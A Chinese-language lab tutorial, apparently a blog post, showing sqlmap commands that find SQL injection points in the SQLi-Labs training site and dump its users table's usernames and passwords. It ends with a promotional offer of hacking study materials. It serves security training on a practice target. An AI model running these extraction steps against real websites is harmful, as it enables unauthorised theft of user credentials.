一、SQLMAP简介
1、SQLMAP是一个开源的自动化SQL注入工具,其功能主要是扫描、发现并利用给定的URL的SQL注入漏洞
2、SQLMAP的下载
Kali自带
3、SQLMAP的功能
4、SQLMAP支持的注入技术
5、SQLMAP支持的数据库类型
NOSQLMAP支持的是非关系型数据库,例如Mongodb
6、SQLMAP检测注入漏洞流程
7、SQLMAP的误报检测机制
二、SQLMAP的基本用法
1、-u参数
2、-r参数
3、-m参数
三、SQLMAP的使用例子
-u参数
1.访问SQLi-Labs网站
访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-3。访问的URL为:
http://[靶机IP]/sqli-labs/Less-3/(注意大小写)
登录后,根据网页提示,先给定一个GET参数,即:
http://[靶机IP]/sqli-labs/Less-3/?id=1此时页面显示id=1的用户名Dump、密码Dump。
2.启动SQLMAP
启动Windows操作系统的命令行工具cmd
在命令行工具cmd中输入以下命令,进入SQLMAP程序所在的路径:
cd C:\Users\Administrator\Desktop\tools\装机工具\sqlmap-master进入SQLMAP程序所在的路径后,使用以下命令启动SQLMAP帮助:
python sqlmap.py -h3.寻找注入点
使用以下命令自动寻找网站的注入点,并获取网站及后台数据库的基本信息:
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1"会出现几个选项,让你选择Y/N,可以根据需要选择Y/N
成功后检测结果如下图所示:
4.获取所有数据库的库名
(1)使用以下命令获取所有数据库的库名:
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" --dbs检测结果如下图所示:
(2)使用以下命令获取网站当前所在数据库的库名:
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" --current-db检测结果:网站当前所在数据库的库名为security。
5.获取security数据库中所有的表名
使用以下命令获取security数据库中所有的表名:
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" -D security --tables检测结果:security数据库中含有emails、referers、uagents、users四张表。
其中,有一个名为users的表,这当中可能存放着网站用户的基本信息。
6.获取users表的全部字段名
使用以下命令获取users表的全部字段名:
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" -D security -T users检测结果:users表中有三个字段id、username和password。
7.获取users表id、username和password字段的全部值
使用以下命令获取users表id、username和password字段的全部值:
python sqlmap.py -u "http://[靶机IP]/sqli-labs/Less-3/?id=1" -D security -T users -C id,username,password --dump检测结果如下图所示:
到这里就爆出所有用户信息啦
下面利用Kali中的SQLMAP演示一下,跟Windows 差不多一样
-r选项
1.访问SQLi-Labs网站
访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-4。访问的URL为:
http://[靶机IP]/sqli-labs/Less-4/(注意大小写)
2.利用Burpsuite工具拦截HTTP请求包
在Firefox地址栏中给定一个GET参数,将URL修改为:
http://[靶机IP]/sqli-labs/Less-4/?id=1保存此HTTP请求包
在Burpsuite的Proxy->Intercept界面下选中刚刚拦截到的HTTP请求报文的全部内容,单击鼠标右键,在弹出的菜单中选择copy,将请求包的内容拷贝至文本文档a.txt中,并保存至C盘根目录。
3.启动SQLMAP
启动Windows操作系统的命令行工具cmd
在命令行工具cmd中输入以下命令,进入SQLMAP程序所在的路径:
cd C:\Users\Administrator\Desktop\tools\装机工具\sqlmap-master进入SQLMAP程序所在的路径后,使用以下命令启动SQLMAP帮助:
python sqlmap.py -h4.寻找注入点
使用以下命令自动寻找网站的注入点,并获取网站及后台数据库的基本信息:
python sqlmap.py -r C:\a.txt检测结果如下图所示:
5.获取所有数据库的库名
(1)使用以下命令获取所有数据库的库名:
python sqlmap.py -r C:\a.txt --dbs检测结果如下图所示:
(2)使用以下命令获取网站当前所在数据库的库名:
python sqlmap.py -r C:\a.txt --current-db检测结果:网站当前所在数据库的库名为security。
6.获取security数据库中所有的表名
使用以下命令获取security数据库中所有的表名:
python sqlmap.py -r C:\a.txt -D security --tables检测结果:security数据库中含有emails、referers、uagents、users四张表。
其中,有一个名为users的表,这当中可能存放着网站用户的基本信息。
7.获取users表的全部字段名
使用以下命令获取users表的全部字段名:
python sqlmap.py -r C:\a.txt -D security -T users --columns检测结果:users表中有三个字段id、username和password。
8.获取users表id、username和password字段的全部值
使用以下命令获取users表id、username和password字段的全部值:
python sqlmap.py -r C:\a.txt -D security -T users -C id,username,password --dump检测结果如下图所示:
到这里就爆出了所有的用户信息
如何系统学习网络安全?
网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。
构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。
如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】